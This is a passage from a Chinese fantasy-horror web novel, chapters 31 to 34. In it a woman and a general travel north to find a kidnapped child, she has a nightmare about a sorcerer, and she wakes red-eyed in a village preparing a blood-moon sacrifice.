宛楪心口像蒙着层薄薄的雾,一缕说不清道不明的不安在雾里轻轻浮动,却怎么也抓不真切。
隐隐觉得有些不对,可又说不上来。
而现在满心担心那个小孩怎么样,也没空去想到底问题出在什么地方。
到底哪里……
宛楪皱了皱眉,望着前路模糊的山影,指腹反复摩挲着,心口像是被风吹得发紧。
焦躁蔓延在心里……
那孩子才五岁,断不会懂得如何在吃人的地方藏起求生的气息,此刻怕是正缩在冰冷的草堆里发抖,或者,已经成了那些人刀下被食用的骸骨。
风卷着山里的土扑在脸上,她下意识拢紧披风的领口,鬓角发丝被吹得乱晃,却见慕酌已放慢脚步等在前方。
慕酌指尖捻着片刚折的柏叶,叶尖凝着的霜花在指腹间融成细珠。
声音被山风滤得低哑:
“过了这道山梁,连鸟雀都少了踪迹。北国守军的眼睛很尖,夜里宿在温泉时不可燃明火——上个月有个南边来的医者,就因在寨外点了盏油灯,就命丧黑松林。”
他步子迈得稳,玄色披风扫过结霜的草叶,留下细碎的沙沙响。
说话时侧过脸,鬓角碎发被风掀起,眼底映着远处烽燧的轮廓,“你袖子都快被攥烂了,是担心他撑不到我们去救他?”
宛楪反应着,叹了一口气。
“难道不是吗,那么小的孩子,现在生存的希望又有多少呢?”
“放心吧,就算是死,还轮不到他。”慕酌的声音里还带着未
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散的低哑,尾音却骤然绷紧。
慕酌顿了顿,目光扫向远处军寨的方向,腰间的剑柄在风中摇曳。
“我不知道他是怎么被劫走的,但那个吃人的将军最近刚压下去一场急病,听说咳得连铁甲都穿不住。”
他垂眸,浓密的睫毛在眼睑上投下一片阴影,让人看不清他眼底的情绪。
指尖捻碎了掌心里的柏叶,清苦的汁液顺着指缝滴落,“吃人的兴头就算再大,也要考虑一下身体承不承受得住。”
风忽然转厉,卷着碎石扑打在两人脚边。
宛楪脚下碎石突然发出哗啦轻响,身体晃荡的瞬间,慕酌眼疾手快地伸手托住她肘弯,掌心的温度透过粗布衣料渗进来。
慕酌扶稳她后松开手,目光越过她肩头扫过“北境界”残碑上斑驳的刀痕,那些深浅不一的刻痕里还嵌着未知的痕迹,像极了凝固的血渍。
方才刻意压下的沉郁在此刻爬上眉梢,眼角的笑意彻底敛去,连声音都低了几分:
“从这里起,每一步都踩在刀尖上。南边的霜叶落尽是冬,北边的冻土底下,埋着的可不只是白骨,有的是阴谋和腌臜的恶心。”
风卷着碎石掠过残碑,发出呜咽般的声响。
慕酌垂在身侧的手悄然攥紧,指节叩击着腰间玉佩的轻响,在这死寂的荒野里格外清晰。
他忽然转头,看着宛楪,“你做好准备了,那里可不是开玩笑的,北国比南国要恐怖的多。”
慕酌停下来,带着一丝有审慎的探究,甚至藏着一丝破釜沉舟的决绝。
或许还有一丝期待和希望。
“我答应过你会把那孩子带回来,就一定会做到。”顿了顿,他刻意压低了语调,字字清晰却带着不容错辨的重量。
他直视着她的眼睛,瞳仁里翻涌着复杂的情绪。
“现在后悔,还来得及。”
话语冷得像淬了冰,可手紧握着的剑戟,用力到骨节有些发白,这动作出卖了他。
宛楪指尖不自觉攥紧了袖角,指节泛出淡淡的白。
她同样直视慕酌的目光,清丽的眉眼此刻绷得笔直,长睫在眼下投出一小片决绝的阴影:“不可能,我们一起去。”
夜风拂动,她的眼神却稳如磐石。
那双总是含着暖意的杏眼此刻瞳仁微缩,将所有犹豫都碾成了锐利的光,直直射向慕酌:“就算是我死在那,我也必须去。”
话音落下时,宛楪的目光落在那个界碑上,残碑上斑驳的刀痕在暮色里泛着青白的光,最深的一道裂痕几乎将“界”字劈成两半,边缘还凝着暗褐色的渍痕。
“你帮我找阿已,我帮你拿到你想要的东西,停止这场战争。”
宛楪的声音在风里微微发颤,却每个字都钉得笔直,每个字都像从冻硬的土地里拔起的石桩,带着冻土的寒凉与不容撼动的沉劲。
风掀起她的衣角猎猎作响,发丝贴在汗湿的额角,可那声音里没有一丝游移,在呼啸的风里砸出清晰的回声。
那份坚定直直地撞入人心。
31. 一切都很不对
“好。”慕酌喉结滚动了一下,骨节分明的手指猛地攥成拳,指骨因用力而泛白,他将拳头抬到半空,悬在两人之间,“我们一起停止这场战争。”
阳光充盈,山林间早上的迷雾消失的几乎干净,他眼底的犹豫也早已被决绝取代。
战事不能一拖再拖,北国元气大伤,他们也只有两三周的时间喘息,在这期间,他们必须找到方法让北国撤兵或者投降。
宛楪望着那只悬在山风的拳头,指尖先于理智动了。
她深吸一口气,将蜷起的指节用力绷直,学着他的模样抬臂迎上去。
“咚”的一声轻响,两拳相抵的瞬间,她能清晰感受到对方掌心传来的微颤,以及那份与自己如出一辙的滚烫决心。
“一言为定,”她迎上他骤然亮起来的目光,唇角抿出一抹带着锋芒的笑意,“两周后,我们一定能活着回来。”
远方的山峦在暮色里晕成浓淡不一的墨团,山风卷着草木的腥气掠过长草,叶片摩擦的沙沙声里藏着说不清的寒意,那片沉默的山影便愈发显得幽深可怖。
无形的压力如湿重的雾气般漫过来。
宛楪拢了拢被风吹乱的衣襟,目光在起伏的山线上顿了顿。
“既然他说有办法,那就一起去看看吧。”她望着那片被暮色啃噬的山影,心里这样想着。
前路纵有未知,总该不会比眼下的困局更糟了。
山风再次掠过耳畔时,她清晰地听见自己心底的声音——
至少,她可以相信慕酌。他此刻实在没有理由要取自己性命,这点判断她还是有的。
抬手将贴在脸颊的碎发别到耳后,指腹触到耳垂时,才发觉不知何时已被山风吹得冰凉。
发丝抽离指尖的瞬间,方才被刻意压下的疑虑忽然顺着风隙钻了出来。
慕酌最初对自己那般不加掩饰的敌意,究竟是为何?总不会是平白无故的……
难道,是因为自己像谁吗?
这个念头一冒出来,就像被风卷来的草籽,悄无声息地落在心湖上,漾开一圈细碎的涟漪,连带着耳边的风声都似乎滞了滞。
“喂,你醒醒,你还好吗?”
迷糊中宛楪感到有人在晃自己,眼睛却实在睁不开,一片黑暗。
梦,好长的梦……
她不明白为什么会突然发生这样的事,一下子就卷进了敌国的阴谋。
“水……”
宛楪轻声呢喃着,旁边的小药童看见人动了,急忙过去。
“水……”
宛楪不断重复着一句话,小童子拿来旁边的茶水,小心翼翼地喂了进去,看着人不在呢喃,他跑出去,匆匆忙忙。
“师父……师父!她……她有反应了!”
宛楪听不见喧嚣,世界依旧沉积在黑暗中,看不到光,客栈,匪徒,杀人,炼药……
思绪一下子被拽回到北国的客栈,那里的人道貌岸然的虚伪,用年轻女子的血炼制药物,骨头拆除做成摆件,哭嚎不绝于耳。
寒夜里,被铁链锁住的呜咽穿透厚厚的墙壁,混着风雪的呼啸在客栈里盘旋,那连绵不绝的哭嚎像淬了冰的针,一下下扎进记忆最深处,至今想起仍让人脊背发凉。
小蝶!这名字扎进了心腔,她最后望向我的眼神还凝在眼前,血泪凝成的红珠,至今仍恍惚在宛楪脑中。
“啊!”尖叫声长鸣,宛楪一下子从床上弹坐起来,眼神泛着空洞,带着一丝惊惧,灰白色地像是蒙了一层雾,整个人似乎被放到什么可怕的世界,一种全然地噩梦梦魇。
“你……”小童子的声音慌张,跑到师父面前,“她……师父,她怎么了?”
“估计是想起之前的事情,你先看着她,我去拿一些药。”
烛火在案头明明灭灭,将宛楪的影子投在斑驳的墙纸上,忽长忽短,像她此刻被揉皱的回忆。
她望着自己空悬的指尖,眼底却空得像蒙尘的琉璃,麻木的绝望正一寸寸冻僵眼底的光。
“不过十天……”
她的声音轻得要被风雪卷走,指尖无意识地抠着袖口,将那点残破的纹路越掐越深。
“怎么就变成这样了。”
思绪被无形的手拖拽着,卷入那层层叠叠的阴谋漩涡。
马蹄踏碎冻土的闷响还在耳畔震荡,慕酌勒住缰绳回头望她时,鬓边落雪折射的寒光刺得人眼疼。
“北国风雪烈,万事当心。”
他的声音裹着冰粒砸过来,那时她只当是寻常叮嘱。
如今才觉那语气里的凝重,早像冰棱,刺破了安稳的表象。
原是抱着渺茫的希冀踏雪而行。
却在街巷交错间撞进这场诡异的“重逢”,酒旗在寒风中猎猎作响。
说书人拍着醒木的脆响惊飞了檐下冻雀。
“那小孩子真是福大命大,吃人将军府里走一遭,竟遇仙人搭救——”
宛楪站在人群外,看着听客们拍案叫好的模样,后颈泛起的凉意顺着脊椎爬上来。
冻得她指尖发颤——
这故事太圆了,圆得像被人精心打磨过的卵石,连一丝尖锐的棱角都没有。
“掌柜的,敢问救走那孩子的是何方高人?”
慕酌将碎银推到柜台时,指尖叩桌面的声响在喧闹里格外清晰。
掌柜的眼神像被惊飞的鸟,在银锭上落了落又慌忙移开,搓着手嘿嘿笑:
“这就不清楚了,只听说个白衣人,出手阔绰得很。”
几枚碎银换来得太过轻易的答案。
让宛楪忍不住拽了拽慕酌的衣袖,声音压得极低:
“会不会太巧了?
”他侧目看她,眸色深得像结了冰的湖:
“巧,才更要走下去。”
当时北国的风有些冷,从门缝钻进来,掀起慕酌衣摆一角,露出腰间半隐的玉佩,在昏暗里泛着冷光。
宛楪还怀疑过慕酌的身份,那玉佩不像寻常物件,自己以前从没见过。
不过想来他一个将军,又什么贵重的物品一不稀奇。
后来在城郊破庙找到阿已时。
蛛网蒙尘的佛龛前积着薄薄一层雪,那孩子正抱着膝盖缩成小小的一团。
见他们进来,冻得发红的脸上绽开怯生生的笑。
像株在寒风里瑟缩的蒲公英。
“姐姐,救我的人眼睛像月牙儿,说话温温柔柔的。”
他说着,睫毛上的冰珠簌簌往下掉。
可当他攥着宛楪的衣袖,
小声拜托,“姐姐帮我找找其他的亲人吧,他们说在北国等我”。
说这话时,阿已那冰凉的指尖抖得厉害,几乎要嵌进她的皮肉里。
事情便循着这
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奇怪的轨迹铺展。
宛楪就算有疑惑,看着阿已东红的脸,勉强挤出来的微笑,就已经不想问了。
阿已寻到的宅院朱门紧闭。
铜环上的狮子衔着冰碴,在阳光下闪着冷光。
开门的老仆看见孩子时,脸色“唰”地褪尽血色。
嘴唇哆嗦着半天,才从牙缝里挤出几个字:
“……少爷回来了。”
院里的人看阿已的眼神,像在看一件失而复得却又烫手的物件。
有躲闪,有惊惶,唯独没有至亲该有的热络。
阿已却仰头冲宛楪笑笑,眉眼弯成月牙:
“姐姐你看,我找到家了,你别担心呀。”
风掀起他的衣角,腰侧那片青痕在雪光里若隐若现,像块没捂热的冰,狠狠烫了宛楪的眼。
这到底是怎么回事?!
宛楪想要问问,可是阿已说没事,也不是一副很想让她了解的样子。
后来阿已换上新衣,出来说了几句话便划清了界限,那白色地小脸上看不出一点高兴。
“保重。”宛楪最终只说了这两个字,千言万语或许这个时候都不能说一句话。
“姐姐,谢谢你,你先走吧,我在这挺好的。”
阿已手上拿着红色的绳子,上面绣着漂亮的铃铛,挥挥手,和宛楪别过,转身的背影,甚至有几分是慕酌那样苍凉,悲伤,痛苦……
她心头的疑云越积越厚。
回客栈时踩着碎冰的咯吱声,倒像是替她问出的无数个“为什么”。
慕酌正临窗看雪,指腹摩挲着茶杯沿结的薄冰,听她转述时,那动作骤然停住。
“这家人,不对劲。”
他抬眼时,眸底的雪光冷得像淬了冰。
宛楪一愣:“确实……可是,这倒是为什么?”
他指尖在冰面上轻轻一点,薄冰裂开细纹:“或许那孩子有什么特殊身份吧。能从那吃人将军的地盘离开……”
话音未落,客栈外的风雪突然屏住了呼吸。
紧接着,凄厉的呜咽如泣如诉地漫进来,像无数根冰线缠上心脏,越收越紧。
宛楪猛地站起身,撞翻的茶杯在地上碎成清脆的响。
茶水溅在裙角,冰凉的湿意却抵不过心口的寒意。
“那声音……”
她攥住慕酌的手臂,指节泛白得像要折断。
“像极了上次在那吃人将军府后巷听到的……”
“惨烈的哀嚎!”
声音穿透门窗,穿透墙壁。
字字泣血,声声剜心。
呜咽声像附骨之疽缠得人心头发紧,宛楪猛地起身。
带倒了身后的木凳,“哐当”一声脆响在死寂的客栈里炸开。
“吱呀——”
老旧木门的呻吟混着风雪的呼啸灌入。
门前雪地里,青衫女子正以一种扭曲的姿势瘫坐在结冰的石阶下。
双手在冻硬的地面上徒劳抓挠,指腹磨出的血珠滴在雪上,洇出点点刺目的红。
她仰着头声嘶力竭地哭。
脖颈上青筋暴起如蚯蚓游走,喉咙里滚出的已不是人声。
而是像破风箱般的嗬嗬声。
每一次吸气都带着肺叶被撕裂的剧痛,胸腔剧烈起伏着,单薄的衣衫下肋骨轮廓清晰得令人心惊。
32. 梦,恐怖
“这是怎么回事?”
宛楪的声音被寒风撕得发飘,目光死死钉在女子渗着血丝的眼睛上——
那双眼瞪得滚圆,眼白上布满蛛网般的红丝,像是要从眼眶里凸出来。
阴影里猛地踏出个高瘦男人。
腰间佩刀的刀鞘在雪光里泛着冷硬的黑,刀柄上镶嵌的铜饰随着他的动作晃出细碎的光。
他见宛楪推门而出,原本低垂的眼睑“唰”地掀起,眼底一半是被撞破的惊惧,一半是凶戾的怒焰,握刀的手骤然收紧。
指节压得刀鞘发出“咯吱”轻响,指腹在冰冷的刀柄上磨出细微的白痕。
“哦,这是家妻。”
男人喉结重重滚动一下,嘴角扯出的笑比哭还难看,眼角抽搐着,眼神却像淬了毒的冰锥直刺过来,
“她癔症犯了,我这就带她寻大夫去。”
说着手便伸向女子的后领,指爪般的手指在青衫上掐出深深的褶皱。
话音未落,地上的女子突然剧烈地颤抖起来,单薄的身子在寒风中缩成虾米状。
她望着宛楪的眼睛里迸出两簇绝望的光,
瞳孔因恐惧缩成针尖,嘴唇哆嗦着却发不出完整的音节,只能拼命摇头,额前碎发被泪水粘在苍白的脸颊上,每一滴滚落的泪都在下巴结成细小的冰珠。
那目光穿透漫天风雪,穿透男人虚伪的笑容,像无声的呐喊——
救救我!他在撒谎!
宛楪的心猛地一沉,指尖下意识攥紧门框,指节压得木门的木纹陷进皮肉。
男人脸上的假笑瞬间皲裂,阴狠的神色在眼底横冲直撞,鼻翼因粗重的呼吸翕动着,嘴角撇出个狰狞的弧度。
杀机像出鞘的利刃般陡然弥漫开来,连周遭的风雪都仿佛被这寒意冻住,簌簌落雪在两人之间凝滞了一瞬。
这到底是怎么回事?!
宛楪只觉后颈的寒毛根根竖起,如针扎般刺痒。
那男人按在刀柄上的手又紧了几分,指腹已将刀柄的防滑纹磨得发亮。
刀鞘与腰间皮带摩擦发出“噌”的轻响,一丝冷冽的金属光泽从鞘口一闪而过。
剑拔弩张的气氛在风雪中急剧升温,檐下冰棱“啪”地断裂坠地。
碎裂声里,男人的脚已悄悄向前挪了半寸,阴影在雪地上拉得又细又长,像条蓄势待发的毒蛇,要将这北国寒夜拖入血色深渊。
烛火都跟着颤了颤,在墙上投下扭曲的影。
窗外的风声呼呼地吹着,仿佛有无数双绝望的眼睛正隔着风雪望过来,将无尽的悲怆泼洒在这寒夜之中。
“怎么,要打架?”慕酌的声音清清冷冷,玄色的衣服旋着走出来。
往宛楪身边站着,一身冷气却要把人冰冻住,周身的寒气像是从冰窖里带出来的。
偏在靠近宛楪的那一侧,将她护在身后半步的位置,靠近宛楪身边气势似乎柔和几丝。
布料在廊下灯火里泛着沉敛的光泽,像是将夜色裁了半幅裹在身上。
腰间悬着的长剑最是惹眼,暗纹流转间隐有金星点点,透着股经年累月的沉凝。
行走间剑鞘轻撞靴筒,不似寻常佩剑的清脆仿佛随时能出鞘饮血。
周身那股生人勿近的冷意,任谁都看得出,这是位不好惹的主儿,怕是来者不善。
“打架应该叫我,毕竟我很能打。”
宛楪抬头看着眼前挡在自己前面的人,附和着点了点头。
是挺能打的,把自己掐着脖子差点弄死过好几次。
宛楪沉了一口气,眼睛警惕的盯着那面目阴狠的男子,到了北国之后,种种迹象多表明这不是一个好地方,太多太多悬疑和奇怪的事了。
那男子有所动作,腰间带着玉佩被一下子拿出来,墨绿色的线发着光,带着诡异的纹路。
他把这东西晃过在地上跪着的女子,动作快得几乎看不清,只一道青灰色的诡异光芒如毒蛇吐信,扫过地上跪着的女子。
光芒触及皮肉的刹那,女子突然发出一声变调的痛呼,四肢以违背常理的角度猛地翻转——
手腕反折到背后,膝盖竟朝肩头顶去,骨头摩擦的脆响混着呜咽声刺得人耳膜发疼。
她脸上的血色瞬间褪尽,痛苦像藤蔓般爬满五官,眼睛却在这一刻诡异地翻成惨白,瞳仁彻底消失不见,只剩下空洞的白翳。
喉咙里涌不出完整的字句,唯有“嗬嗬”的抽气声断断续续溢出,像是破风箱在艰难喘息。
不过转瞬功夫,她便以一种麻花般扭曲的姿势重重栽倒。
青灰色的光散去时,她僵在地上再无动弹,唯有身体还在微微抽搐,留下一地令人毛骨悚然的死寂。
“瞧见了吧?”那男子收起手中物件,拍了拍不存在的灰尘,语气轻描淡写得仿佛刚碾死一只虫子。
“那就是个怪物,我不过是除此害罢了。”
他斜睨着慕酌与宛楪,嘴角勾起一丝敷衍的笑,眼底却藏着几分做贼心虚的放松。
“你们两个从客栈追出来横插一脚,倒像是我做了什么伤天害理的事似的。”
玄色衣袍下,慕酌的手指已悄然扣住了剑柄,剑鞘的寒意透过布料。
唯有目光扫过宛楪时,那欲出鞘的戾气才稍敛半分。
慕酌冷声道:“怪物?我只瞧见有人用邪术害人。”
话音未落,他已侧身将宛楪护在身后,指间扣紧剑柄的瞬间,剑鞘上的银饰突然发出细碎的嗡鸣。
对面那男子脸色骤沉,怀中白光猛地暴涨。
倒在地上的女子竟如提线木偶般弓起脊背,骨骼错位的脆响里,四肢以违背常理的角度反向弯折,皮肤下青黑色纹路如活蛇般游走。
她空洞的白眼翻出猩红血丝,喉咙里滚出野兽般的低吼,利爪带着腥风直扑两人面门。
慕酌玄色身影急旋,剑鞘横挥带起凛冽劲风,硬生生将怪物的攻势挡在半尺之外。
女子躯体却突然如橡皮筋般拉长,利爪绕过剑鞘擦着宛楪发梢掠过,带起的寒气让她后颈汗毛直竖。
宛楪下意识侧身避过,手肘撞到廊柱边的木架,青瓷茶盏摔得粉碎。
她瞥见碎片反射的白光,突然抓起半片锋利的瓷片往怪物后心掷去——
那处皮肤下正有青纹剧烈蠕动,瓷片没入半分,怪物发出刺耳尖啸,动作霎时迟滞。
慕酌趁机旋身掠至,剑鞘重重砸在怪物肩头,闷响中骨骼碎裂声清晰可闻。
混乱在瞬间炸开。
剑光与白光绞成一团,怪物的嘶吼、兵器的碰撞、男子的狞笑混作一片。
宛楪被慕酌护在身侧,却没闲着,目光飞快扫过四周.
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抓起廊下挂着的铜制灯钩,趁怪物再次扑来的间隙,猛地勾住它扭曲的脚踝。那怪物失衡的刹那,慕酌已拔剑出鞘,冷光闪过却被男子甩出的符咒挡住。
炸开的火星溅到宛楪手背,她下意识缩手时,眼角余光突然瞥见廊柱上的雕花在扭曲。
原本平整的木纹竟像活物般蠕动起来。
连灯笼的光晕都变成了旋转的漩涡,将慕酌护在她身前的背影晕染得越来越模糊。
心头突然窜起一丝异样。宛楪盯着那团旋转的光晕,这廊下灯笼的竹架是前日店家新换的,竹纹该是疏朗平直的。
此刻却像被揉皱的纸般蜷曲缠绕。
她想开口提醒慕酌,喉咙却像被什么堵住,。
脚下的青石板开始晃动,像是踩在波涛翻涌的水面,她低头去看,石板缝里竟渗出粘稠的黑雾,顺着鞋边往上爬——
这绝不是客栈后院该有的景象,现实里的青石板永远干燥冰凉,哪会有这般诡异的黑雾?
她想抓住慕酌的衣袖,指尖却扑了个空。
那些诡异的光影、扭曲的肢体、飞溅的血珠顺着手臂攀爬而上。
全都化作螺旋状的碎片涌入脑海。
耳边的嘶吼声越来越远,又突然在耳畔炸响。
像被人强行塞进无数混乱的回忆,又似坠入光怪陆离的颠倒梦境。
“啊啊啊啊啊啊啊啊啊——!”
凄厉的尖叫冲破喉咙,震得耳膜嗡嗡作响。
眼前的漩涡骤然收缩。
白光与黑影如潮水般褪去,廊柱的雕花、旋转的光晕、模糊的背影都在瞬间消散,取而代之的是客栈床顶熟悉的纱帐。
宛楪猛地坐起身,冷汗已浸透了中衣,黏在背上凉得刺骨。
心脏还在胸腔里疯狂擂动。
方才掷出瓷片的指尖仿佛仍残留着冰冷的触感,眼前仿佛仍晃动着怪物扭曲的轮廓。
鼻尖似乎还萦绕着那股腥甜的血气。
恐惧像冰冷的藤蔓缠得她喘不过气,指尖按在床沿,微微发颤。
慕酌……
宛楪双眼空洞,里面弥漫着剧烈的恐惧,渐渐的瞳孔从空洞变成冷冽,血色的妖冶,带着一丝神秘。
“你醒了啊,有没有感觉到什么不舒服?”身边传来小童子小心翼翼地声音。
“人类……”宛楪转过眸子,直直的盯着眼前这个人,轻声说出这两个字。
“什么?”小童子凑近,宛楪却不再说话了,脑袋又转了回去,眼神继续盯着前面的地方,什么话也不说,整个人显得十分孤寂,像是隔了一层与世界隔阂的薄纱,带着诡异的感觉。
“你……你……”小童子支支吾吾,又跑去叫师傅。
宛楪血色眸子中映着滔天的血城……
人类,该死的生物。
师傅循声而至,看着宛楪的样子,也有些打怵。
那人就那么直挺挺坐在草榻上,,瞳仁竟泛着暗沉的血色,像淬了血的琉璃珠,空洞地映着屋顶的茅草,既无焦点也无情绪,却看得人后颈发麻。
身上还沾着未干的泥污,粗布衣衫被山石划开数道裂口,整个人像从坟堆里刨出来的。
死寂中透着说不出的诡异。
“我的童子在山下见到的你,当时山体崩塌,你还有一口气,就把你带回来了。”
33. 血月传说
药碗里的热气袅袅升起,在两人之间凝成薄薄的雾。
回答他的只有草榻轻微的吱呀声,接着就是死一般的寂静。
“师傅,这人是不是压在山底下傻了?”
梳着总角的童子躲在师傅身后,只敢探出半张脸,手指紧张地抠着师傅的衣角,目光扫过那人时突然瑟缩了一下。
师傅摸了摸童子的头,“不知道,看看情况吧。对了,村长叫我们过去一趟。”
听到这话,小童子的眼神透露着害怕,“师傅,是因为那个传说吗?不是说,那是假的吗,为什么?”
“听说是那个东西响了。”师傅的声音很轻,轻得带着风声都有些模糊。
童子的眼神里的害怕再也藏不住,声音陡然拔高,抓着衣角的手指泛白。
“是山灵发怒吗……”小童子怯生生地问。
“师傅,是那个传说里的月祭吗?”
“不是说那是假的吗,为什么偏偏在他来之后……”
医生猛地捂住他的嘴,眼神紧张地瞟向草榻上的人,压低声音呵斥:
“胡说什么!”
沉默片刻后他才松开手,深深叹了口气。
“村长没说缘由,但祠堂的铜铃确实不对劲。至于那个故事……”
他顿了顿,声音轻得像怕被谁听见。
“应该就只是个故事。只是你记住,待会儿见到村长,别提血月的事。”
话虽如此,他望着草榻上那人的眼神,却添了几分说不清道不明的忧虑,指尖无意识地摩挲着药碗边缘,将碗沿的热气都捻得凉了几分。
“前几日山里的溪流突然变浑,现在想来……”
话音未落,门外突然传来“哐当”一声轻响,像是挂在墙上的药锄掉了。
童子吓得往人身后缩。
却瞥见草榻上那人的血色瞳孔里,似乎映出了一道扭曲的影子,而方才还僵直的手指,正以肉眼难辨的速度微微蜷曲。
师傅按住童子的肩膀缓缓起身,指节因用力而微微泛白。
他转身抄起墙角那根磨得光滑的扁担,木柄上还留着经年累月的汗渍:“待在这儿别动。”
不远处的石凳上,那人就那么静坐着,一双血色瞳孔在晨光里泛着诡异的光,看得人后颈发麻。
哪怕他衣衫陈旧,身形枯槁,却依然让人觉得很危险。
师傅望着那人的方向轻轻叹了口气,声音里裹着化不开的疲惫:
“应该没什么大问题,让他自己在这呆着吧。”
小童子仰起头,“师傅,那村长那边,还有那个传说。”
“师傅别去了!小童子满眼担心,眼底是化不开的忧虑。
“没事,总得过去看看。”
“至于先前说的那些传闻,大概就只是个故事,别太放在心上。”他顿了顿,语气刻意放得轻快,“事情总会慢慢变好的,都会如意起来的。”
“事情都会变得让我们如意一点。”
这话师傅常挂在嘴边,可小童子打记事起,就没见师傅真正如意过。
村里的人总把师傅当成随叫随到的免费医生,谁家孩子咳嗽了,哪家老人崴脚了。
哪怕是鸡丢了要寻个方位,都要扯着嗓子喊师傅过去。
他们总说:“你们外来人嘛,做点事是应该的。”
小童子偷偷瘪了瘪嘴,鼻尖一阵发酸,替师傅委屈得厉害。
可抬头望见师傅脸上那抹无奈的温和,还有强撑出来的微笑时,到了嘴边的话又都咽了回去。
说了也没用。
“好吧。”童子小声应着,手指无意识绞着衣角。
晨光穿过薄雾洒在两人身上,像披上了一层半透明的纱,周遭的树影、屋舍都变得朦朦胧胧,光怪陆离的,怎么看都不真切。
师傅提着扁担迈步向前,背影在雾里忽明忽暗,仿佛随时会被这漫无边际的白吞没。
师傅按住童子的肩膀缓缓起身,抄起墙角的扁担:“待在这儿别动。”
宛楪眼前是浓稠如墨的黑暗,身体僵在原地,四肢百骸都像是生了锈的铁器,没有半分正常的知觉与反应。
那双泛着诡异红光的瞳孔微微转动,如同被丝线牵引的傀儡,她机械地掀开被褥下床。
赤着的双脚踩在微凉的地面上,每一步都迈得极慢,像是耗尽了全身力气,一步步挪向门口。
木门被她用僵硬的手指推开
“吱呀”一声轻响划破寂静,晨间的阳光倾泻而下。
落在这个刚刚“苏醒”的人身上,将她苍白的面容照得毫无血色。
门外是平坦开阔的土地,远处散落着几处错落不一的村舍,炊烟正从屋顶袅袅升起,本该是充满生气的景象。
可宛楪的脑袋只是微微转动着,目光扫过这一切,眼中却没有半分波澜,更无丝毫感情色彩。
唯有一片死寂的麻木。
她依旧保持着那缓慢而僵硬的节奏,一步,又一步。
如同被无形的力量操控着,漫无目的地挪向前方,身影在阳光下拉得细长,透着一股说不出的诡异与悲凉。
“这件事谁都不想看见,这不是一个人能决定的,为什么非要用这样的手段残害生命吗?”
村长家中,师傅声嘶力竭地辩驳着,额角青筋暴起,极力想要戳破那流传已久的血月传说:
“这根本就是杜撰的谎言!”
“够了!”
满脸虬髯的男子猛地拍向桌面,震得杯盏轻颤。
他双目圆睁,凶相毕露:“我叫你来不是听你辩驳的!这传说纵是假的,也是族中世代相传的规矩!你不愿见族人送死,那你有办法救人吗?”
“我不知道上面为何如此行事,但事已至此,这些年效仿者不在少数。或许上面早已采取行动,可你救得了一人,救得了整个北国吗?”
村长脸上掠过一丝悲戚,声音沉哑:
“安维啊——”
“北国如今的境地已无力回天。前线接连溃败,你可知这意味着什么?我们已经自身难保了!”
“族长!”安维眼眶泛红,声音带着哽咽,“你忍心看着族人活在恐惧里吗?家家户户都有孩子,那是血脉的延续啊!仅凭传说的蛛丝马迹,就要他们把孩子交出去,练成毫无意义的药人吗?”
“我不是来和你商量的!”男子勃然大怒,手掌重重劈下,木桌应声碎裂,木屑飞溅。
“你立刻筹备祭祀大典,率众人向天神赔罪。待血月显现之时,阵法所需的‘材料’,你自行补
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足。”
被称作“安维”的男子忽然嗤笑出声,笑声里满是嘲讽与悲凉:“什么材料,人命吗,恐怕不是吧,你叫我补上,是想用我的血肉为引,灵魂困在那个阵法里,没日没夜地,替里面的邪神受刑是吗?”
他垂下的双手不住颤抖,悲怆如潮水般淹没了脸庞,嘴唇翕动着,却始终没能再说些什么。
村长挥了挥手,愠怒的脸上只剩沉默——事实本就如此。
“无论你怎么想,这祭祀大典,你去也得去,不去也得去!”
“来人!”村长扬声呼喊,两名精壮的族人立刻推门而入,“把他带下去看管,绝不能让他跑了,祭祀大典必须如期举行!”
“你……你会遭报应的!”安维被架住双臂,疯狂挣扎却动弹不得。
“放开我!你们不能这么做!这会连累全族陪你一起毁灭的!”
他挣扎着被拖拽向外,四肢徒劳地在泥地上抓挠,带起几道深深的血痕。
两名壮实的族人架着他的胳膊,像拖拽一袋破损的粮食般向外挪去。
村长背对着院门口,枯瘦的手指紧紧攥着烟杆,指节泛白,连烟锅里燃着的火星烫到了手,也只是猛地一颤,终究没回头——
那双在火光下满是悲哀和指责的眼睛。
他实在看不得第二遍。
死寂像浸透了水的棉絮……
就在此时,“吱呀——”一声轻响。
木门被轻轻推开,清脆的声响在死寂中格外刺耳。
祠堂那扇脱了漆的木门被风推得晃了晃,门轴摩擦的声音在这万籁俱寂的夜里,竟像钢锯划过骨头般刺耳。
“谁?”村长惊惧的声音响起。
带着不易察觉的颤抖,他猛地转过身,浑浊的眼睛里满是惊惧。
可惜没有人回答他,只有死一般的寂静以及门口探出的那双红色的眼睛。
这确实是一件很恐怖的事情,所以那村长喊人把门外的人拿下。
宛楪面不改色的,看着屋内的两个人嘴唇炸动了几下。
没有说话,一双血红色的眼睛死死的盯住村长。
那些人都停了手,架着人的胳膊僵在半空,连被拖拽者的哀鸣都戛然而止。
不知是谁手里的火把“啪嗒”掉在地上,火星溅起又迅速熄灭,周遭瞬间暗了几分。
那双红眼睛便愈发显得妖异。
“拿下他!”
村长像是被这诡异的寂静逼到了极限,突然嘶吼出声。
“这等邪祟,留着必是祸害!”
两个反应快的族人抄起墙角的扁担,壮着胆子朝门口挪去。
可还没等他们近身,那抹影子便动了。
动作快得像一道风,众人只觉眼前红光一闪,下一秒就听见“哎哟”两声痛呼,扁担已经断成几截飞落在地。
两个壮汉捂着肚子蜷缩在地上,脸色惨白如纸。
几个人联手,居然没有打过门口的这个人。
“安维,你看这就是你惹出来的麻烦!”
村长指着门口的那双血红色的眼睛,声音些许的激动劈叉。
“安维!你看看!你看看这是什么!这就是你说的‘巧合’?”
村长的烟杆“哐当”掉在地上。
34. 安复族
他像是抓住了救命稻草般,踉跄着冲到安维面前。
枯瘦的手指几乎戳到对方鼻尖,“他眼睛的颜色!活了大半辈子,你见过哪个正常人长着这种眼睛?”
“血月当空,妖孽现世,老祖宗的话从来都不假!我顺应神意献祭,才是在保全村人的命!”
村长像是抓住了什么把柄,指着宛楪对那位安维医生大喊。
而此时安维也已经非常的吃惊,望着门口那个熟悉又陌生的身影。
这个人是山中泥石流滑落救下来的,当时浑身是伤,昏迷很久,醒来后也只是沉默地坐在草堆上。
刚才那副古怪的样子,但是却没有什么动作。
现在径直的走过来,准确的找到村长一家。
能精准地绕过院角的石磨,避开地上的柴火堆,朝着村长的方向走来。
这绝对不正常,像那恐怖传说真正应验了一样……
当月色染成猩红,会有红眼的厉鬼从山里走出,寻着恐惧的气息索命……
安维吞了口唾沫,他试着在宛楪面前挥挥手,好不容易才挤出几个字。
“你……你还……”
